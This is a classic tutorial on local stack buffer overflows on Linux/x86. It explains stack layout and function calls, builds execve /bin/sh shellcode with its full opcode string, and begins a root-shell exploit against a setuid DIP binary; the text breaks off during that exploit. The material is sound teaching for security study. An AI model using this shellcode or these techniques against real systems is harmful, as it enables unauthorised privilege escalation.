BUFFER OVERFLOWS DEMYSTIFIED

by murat@enderunix.org

Emergence of buffer overflow vulnerabilities dates back to 1970s. Morris Worm (1980s) can be considered the first public use of them. Documents such as Aleph1's famous "Smashing the Stack for Fun and Profit" and code related to it has been being published on the Internet since 1990s.

This document is a starter of a series of documents about some sort of subjects, which require great attention and involve pretty much detail; and aims to explain and clarify the very basic vulnerability type, namely local buffer overflows, and document the way to write exploits making use of such vulnerabilities.

To understand what goes on, some C and assembly knowledge is required. Virtual Memory, some Operating Systems essentials, like, for example, how a process is laid out in memory will be helpful. You MUST know what a setuid binary is, and of course you need to be able to -at least- use UNIX systems. If you have an experince of gdb/cc, that is something really really good. Document is Linux/ix86 specific. The details differ depending on the Operating System or architecture you're using. In the upcoming documents, relatively more advanced overflow and shellcode techniques will be explained.

Recent versions of document can be found on:
http://www.enderunix.org/documents/eng/bof-eng.txt

What's a Buffer Overflow?

If you know C, you - most probably - know what a character array is. Assuming that you code in C, you should already know the basic properties of arrays, like: arrays hold objects of similar type, e.g. int, char, float. Just like all other data structures, they can be classified as either being "static" or being "dynamic". Static variables are loaded to the data segment part of the program, whereas dynamic variables are allocated and deallocated within the stack region of the executable in the memory. And, "stack-based" buffer overflows occur here, we stuff more data than a data structure, say an array, can hold, we exceed the boundaries of the array overriding many important data. Simply, it is copying 20 bytes to an array that can handle only 12 bytes...

Memory layout for a Linux ELF binary is quite complex. It has become even more complex, expecially after ELF (for detailed info, conduct a search in google as "Executable and Linkable Format") and shared libraries are introduced. However, basically, every process starts running with 3 segments:

1. Text Segment, is a read-only part that includes all the program instructions. For such assembly instructions that are the equivalent of the below C code will be included in this segment:

```
for (i = 0; i < 10; i++)
        s += i;
```

2. Data Segment is the block where initialized and uninitialized (which is also known as BSS) data is.
   For example:

   if you code;

```
        int i;
```

the variable is an uninitialized variable, and it'll be stored in
the "uninitialized variables" part of the Data Segment. (BSS)

and, if you code;

```
        int j = 5;
```

the variable is an initialized variable, and the the space for
the j variable will be allocated in the "initialized variables"
part of the Data Segment.

3. A segment, which is called "Stack", where dynamic variables (or in C
   jargon, automatic variables) are allocated and deallocated; and where
   return addresses for functions are stored temporarily. For example,
   in the following code snippet, i variable is created in the stack,
   just after the function returns, it is destroyed:

```
        int myfunc(void)
        {
                int i;

                for (i = 0; i < 10; i++)
                        putchar("*");
                putchar('\n');
        }
```

   If we are to symbolize the stack:

```
0xBFFFFFFF ---------------------
           |                   |
           |        .          |
           |        .          |
           |        .          |
           |        .          |
           |       etc         |
           | env/argv pointer. |
           |       argc        |
           |-------------------|
           |                   |
           |      stack        |
           |                   |
           |        |          |
           |        |          |
           |        V          |
           /                   /
           \                   \
           |                   |
           |        ^          |
           |        |          |
           |        |          |
           |                   |
           |       heap        |
           |-------------------|
           |        bss        |
           |-------------------|
           | initialized data  |
           |-------------------|
           |       text        |
           |-------------------|
           | shared libraries  |
           |        etc.       |
```

```
0x8000000  |-------------------|
```

* STACK *

Stack is in basic terms a data structure, which all of you will remember from your Data Structures courses. It has the same basic operation. It's a LIFO (Last-In, First Out) data data structure. Its processes are controlled directly by the CPU via some special instructions like PUSH and POP. You PUSH some data to the Stack, and POP some other data. Whoever comes in LAST, he's the one who will go out FIRST. So, in technical terms, the first that will be popped from the stack is the one that is pushed last.

SP (Stack Pointer) register on the CPU contains the address of data that will be popped from the stack. Whether SP points to the last data or the one after the last data on the stack is CPU-specific; however, ix86 architecture, which is our subject, SP points to the address of the last data on the Stack. In ix86 protected mode (32 bit/double word), PUSH and POP instructions are done in 4-byte-units. Another important detail to be noted here is that Stack grows downward, that is, if SP is 0xFF, just after PUSH EAX instruction, SP will become 0xFC and the value of EAX will be placed on 0xFC address.

PUSH instruction will subtract 4 bytes from ESP (remember the above paragraph), and will push a double word to the stack, placing the double wordin the address pointed by the ESP register. POP instruction, on the other hand, reads the address in the ESP register, POPs the value pointed by that address from the Stack, and adds 4 to ESP (adds 4 to the address in the ESP register). Assuming that ESP is initially 0x1000, let's examine the following assembly code:

```
PUSH dword1     ;value at dword1: 1, ESP's value: 0xFFC (0x1000 - 4)
PUSH dword2     ;value at dword2: 2, ESP's value: 0xFF8 (0xFFC - 4)
PUSH dword3     ;value at dword3: 3, ESP's value: 0xFF4 (0xFF8 - 4)
POP EAX ;EAX' value 3, ESP's value: 0xFF8 (0xFF4 + 4)
POP EBX ;EBX's value 2, ESP's value: 0xFFC (0xFF8 + 4)
POP ECX ;ECX's value 1, ESP's value: 0x1000 (0xFFC + 4)
```

Stack, while being used as a temporay storage for dymmic variables, it's being used to store the return addresses for some fuction calls storing temporary variables and for passing parameters to fuctions. And, of course, this is where evil things come into ground.

EIP register, CALL & RET instructions

CPU, in each machine cycle, looks at what's stored in the Instruction Pointer register (In ix86 32-bit protected mode this is EIP - Extended Instruction Pointer) to know what to execute next. In the EIP register, the address of the instruction that will be executed next is stored. Usually, the addresses are sequential, meaning the next instruction that'll be executed next is, a few bytes ahead of the current instruction in the memory. The CPU calculates that "a few bytes" according to how many bytes long the current instruction is; and adds that "a few bytes" value to the address of the present address. To examplify, assume that the present instruction's address is 0x8048438. This is the value that's written in EIP. So, CPU is executing the instruction that's found in memory location: 0x8048438. Say, it's a PUSH instruction:

```
                push   %ebp
```

CPU knows that a PUSH instruction is 1 byte long, so the next instruction will be at 0x8048439, which may be

```
                mov    %esp,%ebp
```

While executing the PUSH, CPU will put the address of MOV in EIP.

Okay, we said that the values that'll be put in EIP are calculated by the CPU itself. What if we JMP to a function? The addresses of the instructions in the function will be somewhere else in the memory. After they are executed, how can the CPU know where to go on with the calling procedure and execute. For this, just before we JMP to the function, we save the address of the next instruction in a temporary register, say in EDX; and before returning from the function we write the address in EDX to EIP back again. If we use JMP to jump to the addresses of functions, that would be a very tiresome work actually.

However, ix86 processor family provides us with two instructions: CALL and RET, making our lives easy! the CALL instruction writes that "next instruction to be executed after function returns" (from then on, we'll call this as the "return address") to the stack. It PUSHes it onto the stack, and writes the address of the function to EIP. Thus, a function call is made. The RET instruction, on the other hand, POPs the "return address" from the stack, and writes that address in the EIP. Thus we'll safely return from the function, and continue with the program's next thread of execution.

Let's have a look at the following code snippet:

```
        x = 0;
        function(1, 2, 3);
        x = 1;
```

After several assembly instructions has been run for (x = 0), we need to go the memory location where function() is located. As we said earlier, for this to happen, first we copy the address of the return address, (the address of x = 1 instructions in this case.) to some temporary space (might be a register) jump to the address space of function with JMP, and, in the end of the function we restore the return address that we'd copied to the EIP.

Thank God, all these dirty operations are done on behalf of us via CALL and RET by the CPU itself, and you can get the details from the above paragraph.

Generally, the Stack region of the program can be symbolized like:

```
|_parameter_I____| ESP+8
|_parameter II___| ESP+4
|_return address_| ESP
```

Figure X : Stack

ESP, EBP

The stack, as we've said, is also used to store dynamic variables. Dynamically, the CPU PUSHes some data, as the program requests new space, and POPs other data, when our program releases some data. To address the memory locations, we use "relative addressing". That means, we address the locations of data in our stack in relative to some criterion. And this criterion is ESP, which is the acronym for Extended Stack Pointer. This register points to the top of the stack. Consider this:

```
void f()
{
        int a;
}
```

As you can see, in the f() function, we allocate space for an integer variable named a . The space for the integer variable a will be allocated in the stack.

And, the computer will referece its address as ESP - some bytes. So the stack pointer is quite crucial for the program execution. What if we call a function? The calling function has a stack, it has some local variables, meaning it should utilize the stack pointer register. Also, the function that is called from whithin will have local variables and it'll need that stack pointer.

To overcome this, we save the old stack pointer. We, just like we did for the return address, PUSH the old ESP to the stack, and utilize another register, named EBP to relatively reference local variables in the callee function.

And, this is the symbolization of the Stack, if ESP is also PUSHed onto the stack:

```
|_parametre_I___| EBP+12
|_parametre II__| EBP+8
|_return adress_| EBP+4
|___saved_ESP___| EBP           ESP
|_local var I __| EBP-4
|_local var II__| EBP-8
```

In the above picture, parameter I and II are the arguments passed to the function. After the return address and saved ESP, local var I and II are the local variables of the function. Now, if we sum up all we said, while calling a function:

1. we save the old stack pointer, PUSHing it onto the stack
2. we save the address of the next instruction (return address), PUSHing it onto the stack.
3. and we start executing the instructions of the function.

These 3 steps are all done when we CALL a sunroutine, say a function.

Let's see the operation of the stack, and procedure prologue in a live example:

```
---------------------------------- a.c --------------------------------
void f(int a, int b, int c)
{
        char z[4];
}

void main()
{
        f(1, 2, 3);
}
---------------------------------- a.c --------------------------------
```

compile this with the -g flag to enable debugging:

```
[murat@victim murat]$ gcc -g a.c -o a
```

Let's see the what's happened there:

```
[murat@victim murat]$ gdb -q ./a
(gdb) disas main
Dump of assembler code for function main:
0x8048448 <main>:       pushl  %ebp
0x8048449 <main+1>:     movl   %esp,%ebp
0x804844b <main+3>:     pushl  $0x3
0x804844d <main+5>:     pushl  $0x2
0x804844f <main+7>:     pushl  $0x1
0x8048451 <main+9>:     call   0x8048440 <f>
0x8048456 <main+14>:    addl   $0xc,%esp
```

```
0x8048459 <main+17>:    leave
0x804845a <main+18>:    ret
End of assembler dump.
(gdb)
```

As you can see above, in main()
the first instruction is:

```
        0x8048448 <main>:       pushl  %ebp
```

which backs up the old stack pointer. It pushes it onto the stack.

Then, copy the old stack pointer to the ebp register:

```
        0x8048449 <main+1>:     movl   %esp,%ebp
```

Thus, from then on, in the function, we'll reference function's local variables with EBP. These two instructions are called the "Procedure Prologue".

Then, we PUSH the function f()'s arguments onto the stack in reverse order:

```
        0x804844b <main+3>:     pushl  $0x3
        0x804844d <main+5>:     pushl  $0x2
        0x804844f <main+7>:     pushl  $0x1
```

We call the function:

```
        0x8048451 <main+9>:     call   0x8048440 <f>
```

As I've explained by CALL'ing we PUSHed the addres of instruction addl $0xc,%esp's address 0x8048456 onto the stack.

after the function RETurned, we add 12 or 0xc in hex (since we pushed 3 args onto the stack, each allocating 4 bytes (integers)).

Then we leave the main() function, and return:

```
        0x8048459 <main+17>:    leave
        0x804845a <main+18>:    ret
```

Ok, what happened inside the function f() ?:

```
(gdb) disas f
Dump of assembler code for function f:
0x8048440 <f>:  pushl  %ebp
0x8048441 <f+1>:        movl   %esp,%ebp
0x8048443 <f+3>:        subl   $0x4,%esp
0x8048446 <f+6>:        leave
0x8048447 <f+7>:        ret
End of assembler dump.
(gdb)
```

The first two instructions are just the same. They are procedure prologue.
Then we see a :

```
        0x8048443 <f+3>:        subl   $0x4,%esp
```

which subtracts 4 bytes from ESP. This is to allocate space for the local z variable. We declared it as char z[4] remember? It is a 4-byte character array.

End, at the end, the function returns:

```
        0x8048446 <f+6>:        leave
        0x8048447 <f+7>:        ret
```

Okay, let's see another example:

```
------------------------------------- b.c -----------------------------
void f(int a, int b, int c)
{
        char foo1[6];
        char foo2[9];
```

```
}

void main()
{
        f(1,2,3);
}
------------------------------------- b.c -----------------------------
```

compile and launch gdb, disassemble f:

```
[murat@victim murat]$ gcc -g b.c -o b
[murat@victim murat]$ gdb -q ./b
(gdb) disas f
Dump of assembler code for function f:
0x8048440 <f>:  pushl  %ebp
0x8048441 <f+1>:        movl   %esp,%ebp
0x8048443 <f+3>:        subl   $0x14,%esp
0x8048446 <f+6>:        leave
0x8048447 <f+7>:        ret
End of assembler dump.
(gdb)
```

As you can see, 0x14 (20 bytes) is subtracted from ESP, though the total length of both foo1 and foo2 array is just 9 + 6 = 15. This is so because, memory, also the stack, is addressed in frames of four bytes. This means, you cannot simply PUSH 1-byte data onto the stack. Either 4 byte or none.

When the f() is called, the stack will be something like this:

```
|_______$1_______| EBP+16
|_______$2_______| EBP+12
|_______$3_______| EBP+8
|_return address_| EBP+4
|___saved_ESP____| EBP           ESP
|______foo1______| EBP-4
|______foo1______| EBP-8
|______foo2______| EBP-12
|______foo2______| EBP-16
|______foo2______| EBP-20
```

As you can guess, when we load more than 8 bytes to foo1 and more than 12 bytes for foo2, we will have overflowed their space. If you write 4 bytes more to foo1, you will overwrite saved EBP, and ..... if you write 4 bytes more, you will overwrite the return address..... And that's all what we all want, isn't it? This is the basis for buffer overflows...

Let's try to clarify this phonemenon a little bit with a simple code:

Assume that we have such code:

```
---------------------------------- c.c -----------------------------
#include <string.h>

void f(char *str)
{
        char foo[16];

        strcpy(foo, str);
}

void main()
{
        char large_one[256];

        memset(large_one, 'A', 255);
```

```
        f(large_one);
}
--------------------------------- c.c -----------------------------

[murat@victim murat]$ make c
cc -W -Wall -pedantic -g    c.c   -o c
[murat@victim murat]$ ./c
Segmentation fault (core dumped)
[murat@victim murat]$
```

What we do above is simply writing 255 bytes to an array that can hold only 16 bytes. We passed a large array of 256 bytes as a parameter to the f() function. Within the function, without bounds checking we copied the whole large_one to the foo, overflowing all the way foo and some other data. Thus buffer is filled, also strcpy() filled other portions of memory, including the return address, with A.

Here is the inspection of generated core file with gdb:

```
[murat@victim murat]$ gdb -q c core
Core was generated by `./c'.
Program terminated with signal 11, Segmentation fault.
find_solib: Can't read pathname for load map: Input/output error

#0  0x41414141 in ?? ()
(gdb)
```

As you can see, CPU saw 0x41414141 (0x41 is the hex ASCII code for letter A) in EIP, tried to access and execute the instruction located there. However, 0x41414141 was not memory address that our program was allowed to access. In the end, OS send a SIGSEGV (Segmentation Violation) signal to the program and stopped any further execution.

When we called f(), the stack looked like this:

```
|______*str______| EBP+8
|_return address_| EBP+4
|___saved_ESP____| EBP          ESP
|______foo1______| EBP-4
|______foo1______| EBP-8
|______foo1______| EBP-12
|______foo1______| EBP-16
```

strcpy() copied large_one to foo, without bounds checking, filling the whole stack with A, starting from the beginning of foo1, EBP-16.

Now that we could overwrite the return address, if we put the address of some other memory segment, can we execute the instructions there? The answer is yes.

Assume that we place some /bin/sh spawning instructions on some memory address, and we put that address on the function's return address that we overflow, we can spawn a shell, and most probably, we will spawn a root shell, since you'll be already interested with setuid binaries.

How to execute /bin/sh ?

In C, the code to spawn a shell would be like this:

```
----------------------------- shell.c -----------------------------------
#include <unistd.h>
```

```
void main()
{
        char *shell[2];

        shell[0] = "/bin/sh";
        shell[1] = NULL;

        execve(shell[0], shell, NULL);
}

----------------------------- shell.c -------------------------------------
```

```
[murat@victim murat]$ make shell
cc -W -Wall -pedantic -g    shell.c   -o shell
[murat@victim murat]$ ./shell
bash$
```

If you look at the man page of execve ($ man 2 execve), you'll see that execve expects a pointer to the filename that'll be executed, a NULL terminated array of arguments, and an environment pointer, which can be NULL. If you compile and run the output binary, you'll see that you spawn a new shell.

So far so good... But we cannot spawn a shell in this way, right? How can we send this code to the vulnerable program this way? We can't!

This poses us a new question: How can we pass our evil code to the vulnerable program? We will need to pass our code, which will possibly be a shell code, in the vulnerable buffer. For this to happen, we have to be able to represent our shell code in a string.

Thus we'll list all the assembly instructions to spawn a shell, get their op codes, list them one by one, and assemble them as a shell spawning string.

First, let's see how the above (shell.c) code will be in assembly. Let's compile the program as static (this way, also execve system call will be disassmbled) and see:

```
[murat@victim murat]$ gcc -static -g -o shell shell.c
[murat@victim murat]$ objdump -d shell | grep \<__execve\>: -A 12
0804ca10 <__execve>:
 804ca10:       53              pushl  %ebx
 804ca11:       8b 54 24 10     movl   0x10(%esp,1),%edx
 804ca15:       8b 4c 24 0c     movl   0xc(%esp,1),%ecx
 804ca19:       8b 5c 24 08     movl   0x8(%esp,1),%ebx
 804ca1d:       b8 0b 00 00 00  movl   $0xb,%eax
 804ca22:       cd 80           int    $0x80
 804ca24:       5b              popl   %ebx
 804ca25:       3d 01 f0 ff ff  cmpl   $0xfffff001,%eax
 804ca2a:       0f 83 00 02 00  jae    804cc30 <__syscall_error>
 804ca2f:       00
 804ca30:       c3              ret
 804ca31:       90              nop
[murat@victim murat]$
```

Let's analyze the syscall step by step:

Remember, in our main() function, we coded:

```
        execve(shell[0], shell, NULL)
```

We passed:

1. the address of string "/bin/sh"
2. the address of NULL terminated array
3. NULL (in fact it is env address)

Here in the main:

```
[murat@victim murat]$ objdump -d shell | grep \<main\>:  -A 17
08048124 <main>:
 8048124:       55                pushl  %ebp
 8048125:       89 e5             movl   %esp,%ebp
 8048127:       83 ec 08          subl   $0x8,%esp
 804812a:       c7 45 f8 ac 92  movl   $0x80592ac,0xfffffff8(%ebp)
 804812f:       05 08
 8048131:       c7 45 fc 00 00  movl   $0x0,0xfffffffc(%ebp)
 8048136:       00 00
 8048138:       6a 00             pushl  $0x0
 804813a:       8d 45 f8          leal   0xfffffff8(%ebp),%eax
 804813d:       50                pushl  %eax
 804813e:       8b 45 f8          movl   0xfffffff8(%ebp),%eax
 8048141:       50                pushl  %eax
 8048142:       e8 c9 48 00 00  call   804ca10 <__execve>
 8048147:       83 c4 0c          addl   $0xc,%esp
 804814a:       c9                leave
 804814b:       c3                ret
 804814c:       90                nop
```

before the call execve (call   804ca10 <__execve>), we pushed the arguments onto the stack in reverse order.

So, if we turn back to __execve:

We copy the NULLL byte to the EDX register,

```
 804ca11:       8b 54 24 10       movl   0x10(%esp,1),%edx
```

We copy the addresss of the NULL terminated array into ECX register,

```
 804ca15:       8b 4c 24 0c       movl   0xc(%esp,1),%ecx
```

We copy the address of string "/bin/sh" into the EBX register,

```
 804ca19:       8b 5c 24 08       movl   0x8(%esp,1),%ebx
```

We copy the syscall index for execve, which is 11 (0xb) to EAX register:

```
 804ca1d:       b8 0b 00 00 00  movl   $0xb,%eax
```

Then change into kernel mode:

```
 804ca22:       cd 80             int    $0x80
```

All what we need is this much. However, there are problems here. We cannot exactly know the addresses of the NULL terminated array's and string "/bin/sh"'s addresses. So, how about this?:

```
        xorl    %eax, %eax
        pushl   %eax
        pushl   $0x68732f2f
        pushl   $0x6e69622f
        movl    %esp,%ebx
        pushl   %eax
        pushl   %ebx
        movl    %esp,%ecx
        cdql
        movb    $0x0b,%al
        int     $0x80
```

Let's try to explain the above instructions:

If you xor something with itself, you get 0, equivelant of NULL.
Here, we get a NULL in EAX register:

```
        xorl    %eax, %eax
```

Then we push the NULL onto stack:

```
        pushl   %eax
```

We push string "//sh" onto the stack,

```
        2f is /
        2f is /
        73 is s
        68 is h

        pushl   $0x68732f2f
```

We push string "/bin" onto the stack:

```
        2f is /
        62 is b
        69 is i
        6e is n

        pushl   $0x6e69622f
```

As you can guess, now the stack pointer's address is just like the address of our NULL terminated string "/bin/sh"'s address. Because, starting from the stack pointer
which points to the top of the stack, we have a NULL terminated character array. So, we copy the stack pointer to EBX register. See, we have already placed "/bin/sh"'s address into EBX register :

```
        movl    %esp,%ebx
```

Then we need to set ECX with the NULL terminated array's address. To do this, We create a NULL-terminated array in our stack, very similar to the above one: First we PUSH a NULL. we can't do PUSH NULL, but we can PUSH something which is NULL, remember that we xor'd EAX register and we have NULL there, so let's PUSH EAX to get a NULL in the stack:

```
        pushl   %eax
```

Then we PUSH the address of our string onto stack, this is the equivelant of shell[0]:

```
        pushl   %ebx
```

Now that we have a NULL terminated array of pointers, we can save its address in ECX:

```
        movl    %esp,%ecx
```

What else do we need? A NULL in EDX register. we can movl %eax, %edx, but we can do this operation with a shorter instruction: cdq. This instruction sign-extends what's in EAX to EDX. :

```
        cdql
```

We set EAX 0xb which is the syscall id of execve in system calls table.

```
        movb    $0x0b,%al
```

Then, we change into kernel mode:

```
        int     0x80
```

After, we go into kernel mode, the kernel will exec what we instructed it: /bin/sh and we will enter an interactive shell...

So, after this much philosophy, all what we need is to convert these asm instructions into a string. So, let's get the hexadecimal opcodes and assemble our evil code:

```
----------------------------- sc.c ---------------------------------------
char newsc[]=               /* 24 bytes                      */
    "\x31\xc0"              /* xorl    %eax,%eax             */
    "\x50"                  /* pushl   %eax                  */
    "\x68""//sh"            /* pushl   $0x68732f2f           */
    "\x68""/bin"            /* pushl   $0x6e69622f           */
    "\x89\xe3"              /* movl    %esp,%ebx             */
    "\x50"                  /* pushl   %eax                  */
    "\x53"                  /* pushl   %ebx                  */
    "\x89\xe1"              /* movl    %esp,%ecx             */
    "\x99"                  /* cdql                          */
    "\xb0\x0b"              /* movb    $0x0b,%al             */
    "\xcd\x80"              /* int     $0x80                 */
;

main()
{
}
----------------------------- sc.c ---------------------------------------

[murat@victim newsc]$ gcc -g -o sc sc.c
[murat@victim newsc]$ objdump -D sc | grep \<newsc\> -A13
080494b0 <sc>:
 80494b0:       31 c0           xorl   %eax,%eax
 80494b2:       50              pushl  %eax
 80494b3:       68 2f 2f 73 68  pushl  $0x68732f2f
 80494b8:       68 2f 62 69 6e  pushl  $0x6e69622f
 80494bd:       89 e3           movl   %esp,%ebx
 80494bf:       50              pushl  %eax
 80494c0:       53              pushl  %ebx
 80494c1:       89 e1           movl   %esp,%ecx
 80494c3:       99              cltd
 80494c4:       b0 0b           movb   $0xb,%al
 80494c6:       cd 80           int    $0x80
 80494c8:       00 00           addb   %al,(%eax)
        ...
[murat@victim newsc]$
```

In the above figure, the first column is the memory address of the instruction, the following
columns are the opcodes for the asm instruction, which is our interest, and
the last column is the assembly instructions corresponding to the opcodes.

And, here is the complete shell code:

```
    "\x31\xc0"              /* xorl    %eax,%eax             */
    "\x50"                  /* pushl   %eax                  */
    "\x68""//sh"            /* pushl   $0x68732f2f           */
    "\x68""/bin"            /* pushl   $0x6e69622f           */
    "\x89\xe3"              /* movl    %esp,%ebx             */
    "\x50"                  /* pushl   %eax                  */
    "\x53"                  /* pushl   %ebx                  */
    "\x89\xe1"              /* movl    %esp,%ecx             */
    "\x99"                  /* cdql                          */
    "\xb0\x0b"              /* movb    $0x0b,%al             */
    "\xcd\x80"              /* int     $0x80                 */
```

Let's test our shell code:

```
--------------------- shellcode.c ------------------------------------

char sc[]=               /* 24 bytes                      */
    "\x31\xc0"              /* xorl    %eax,%eax             */
    "\x50"                  /* pushl   %eax                  */
```

```
    "\x68""//sh"           /* pushl   $0x68732f2f             */
    "\x68""/bin"           /* pushl   $0x6e69622f             */
    "\x89\xe3"             /* movl    %esp,%ebx               */
    "\x50"                 /* pushl   %eax                    */
    "\x53"                 /* pushl   %ebx                    */
    "\x89\xe1"             /* movl    %esp,%ecx               */
    "\x99"                 /* cdql                            */
    "\xb0\x0b"             /* movb    $0x0b,%al               */
    "\xcd\x80"             /* int     $0x80                   */
;

main()
{
        int *ret;

        ret = (int *)&ret + 2;
        *ret = sc;
}

---------------------- shellcode.c ------------------------------------

[murat@victim newsc]$ gcc -g -o shellcode shellcode.c
[murat@victim newsc]$ ./shellcode
bash$
```

Hmm, it works.

What we've done above is, increasing the address of ret (which is a pointer to integer) 2 double words (8 bytes), thus reaching the memory location where the main()'s return address is stored. And then, because ret's relative address is now RET, we stored the address of string sc's address (which is our evil code) into ret. In fact, we changed the return address' value there. the return address then pointed to sc[]. When main() issued RET, the sc's address has been written to EIP, and consequently, the CPU started executing the instructions there, resulting in the execution of /bin/sh.

+ Writing Local Buffer Overflow Exploits +

Now, let's look at the following program:

```
--------------------------- victim.c ------------------------------------
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

char large_str[50];

void main()
{
        int i;
        char foo[12];

        int *ap = (int *)large_str;

        for (i = 0; i < 50; i += 4)
                *ap++ = sc;
        strcpy(foo, large_str);
}
--------------------------- victim.c ------------------------------------

[murat@victim newsc]$ make victim
cc     victim.c   -o victim
```

```
[murat@victim newsc]$ ./victim
bash$
```

Voila! That's it! What did we do? in the for loop, we copied the address of our shellcode string. Since the addresses is 32 bit (4byte) we increase i by 4. Then, in main(), when we copy large_str which has our shellcode's address onto foo, which can indeed hold 12 bytes only, strcpy did not do bounds checking, and copied all the way through the return address of main. Then, when strcpy issued RET, our shellcode's address was POPed, and put into EIP. It was then, executed. One thing here: strcpy did not overflow its buffer, it overflowed main()'s buffer, thus overwrote main()'s return address. Our shell began when main() returned, not when strcpy returned.

The above victim.c was our program. We knew the address of our shellcode to jump. What if we are asked to exploit another program's buffer? We cannot know the memory layout beforehand, can we? This means we cannot know the address of our shellcode. What can we do now? First, we have to inject the shellcode to the vulnerable program someway, and we have to get the address of shellcode one way or another. When we are talking about local exploits, we have two methods here.

1. As Aleph1's famous "Smashing the Stack for Fun and Profit" explains, we place our shellcode into the vulnerable buffer of vulnerable program, and try to guess the offset from our exploit's ESP.

2. The second way is much more easier and smarter. By this method, we can know the address of our shellcode! What a nice thing it is! How? See this:

If you have a look at the highest addresses of a linux ELF binary via gdb, when it is
first loaded into memory, you'll see something like this:

```
--------------------- 0xBFFFFFFF
|\000 \000 \000 \000| 0xBFFFFFFB (4 NULL byte)
|\000 ......        | 0xBFFFFFFA (program_name)
| ..................|
|...................| n. environment variable (env[n])
|...................| n-1. environment variable (env[n-1])
|...................|          ...
|...................| 1. environment variable (env[0])
|...................| ...
|...................| n. argument string (argv[n])
|...................| n-1. argument string (argv[n-1])
|...................| ...
|          .        |
|          .        |
|          .        |
```

Looking at the above figure, we are all agreed that we can calculate the addresss of the last environment variable. It is:

```
envp = 0xBFFFFFFF -
       4 -                     (4 NULL bytes)
       strlen(program_name) -  (program_names's length - without the leading
                               NULL).
       1 -                     (NULL which strlen did not count above)
       strlen(envp[n]))        (the length of last environment string)
```

Get rid of some unneccessary calculations, and, here is the final version:

```
envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])
```

Did you remember, we supplied execve with an environment pointer? Does that ring a bell ? Right, we can pass our shellcode to the vulnerable program via the environment pointer, and calculate its address. This means we __ exactly __ know what we need to write as the address to the vulnerable buffer.

Formula for the address of our shellcode:

```
ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc);
```

2. As for the method Aleph1 discussed in his paper, and, which is widely used by most of the guys out there, it is somewhat much more difficult than our env technique. For details, you can have a look at Aleph1's paper, Smashing the Stack for Fun and Profit (http://www.phrack.org/show.php?p=49&a=14)

Generally speaking, in this method, we put "NOP" Instructions (NOP) to the start of the buffer. After NOPs, we place our shellcode, then the address of this shellcode. As I said before, since we cannot know the exact address of our shellcode, we pad some NOP instructions to the beginning of the buffer to increase the likelihood that we jump to some location near to our shellcode.

From Aleph1's paper:
"As we can see this is not an efficient process. Trying to guess the offset even while knowing where the beginning of the stack lives is nearly impossible. We would need at best a hundred tries, and at worst a couple of thousand. The problem is we need to guess *exactly* where the address of our code will start. If we are off by one byte more or less we will just get a segmentation violation or a invalid instruction. One way to increase our chances is to pad the front of our overflow buffer with NOP instructions. Almost all processors have a NOP instruction that performs a null operation. It is usually used to delay execution for purposes of timing. We will take advantage of it and fill half of our overflow buffer with them. We will place our shellcode at the center, and then follow it with the return addresses. If we are lucky and the return address points anywhere in the string of NOPs, they will just get executed until they reach our code. In the Intel architecture the NOP instruction is one byte long and it translates to 0x90 in machine code. Assuming the stack starts at address 0xFF, that S stands for shell code, and that N stands for a NOP instruction the new stack would look like this:

```
bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
           buffer                sfp   ret   a     b     c

<------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
                 ^                     |
                 |_____________________|
top of                                                            bottom of
stack                                                                 stack "
```

Here, we *guess* the address. By the following routine we get the address currently stored in i the ESP register:

```
        unsigned long getesp()
        {
                __asm__("movl %esp, %eax");
        }
```

With the help of the above function, we can have an *idea* of where in memory the stack pointer may be. Then we subtract offset values from this SP's address. If we are lucky enough, we can guess the address of one of the NOPs in the buffer. (However, note that the getesp() doesn't return the vulnerable program's ESP. It's our exploit's ESP. It is just to have a range in mind)

To clarify the difference between these two methods, let's write two exploits, and apply what we've leant till now.

* The Exploits *

Now that we know, what a buffer overflow is, we know how to overflow a buffer to overwrite the return address, we know how we can modufy the return address of a function, no need to talk more. Let's code the exploit.

In version 3.3.7o-uri (8 Feb 96) of DIP (Dial-Up IP Protocol) program, there was a buffer overflow bug. The program was by-default setuid in some Linux distros. The -l switch was problematic. The dip code wasn't careful about handling the value, which was expected as an argument passed by the user to the program, without bounds-checking, it just stpcpy()'ed whatever passed as argument to some local buffer, which could only hold limited amount of data; thus giving rise to a buffer overflow.

The vulnerable code part is such:

```
        l = stpcpy(l, argv[i]);
```

if you look at the manual page for stpcpy ($man 3 stpcpy); stpcpy, without thinking of the boundaries of the buffers it handles, it copies one whole array to the other. What we need to do here is to

1. in Aleph's method, to pad some NULL operations (NOPs) to at least half of the buffer, then place our shellcode and the guessed address of one of the NOPS, or the shellcode itself.

2. In our method, because we know exactly where in memory our shellcode lies, we just copy this address to the whole array.

```
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x29'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDA
BCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory

[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.

DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDA
BCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Segmentation fault
[murat@victim murat]$
```

As you can see above, when we wrote 29 ABCD's (29 * 4 = 116 bytes) nothing happened, tough when we wrote 30 ABCD's (30 * 4 = 120 bytes) the program exited with segmentation violation. It didn't core dump, because the program is setuid root. Let's become root, and see what happens when we supply a 120-byte string to -l switch:

```
[murat@victim murat]$ su
[root@victim murat]# gdb -q /usr/sbin/dip
(no debugging symbols found)...
(gdb) set args -k -l `perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l `perl -e 'print "ABCD" x 30'`
```

```
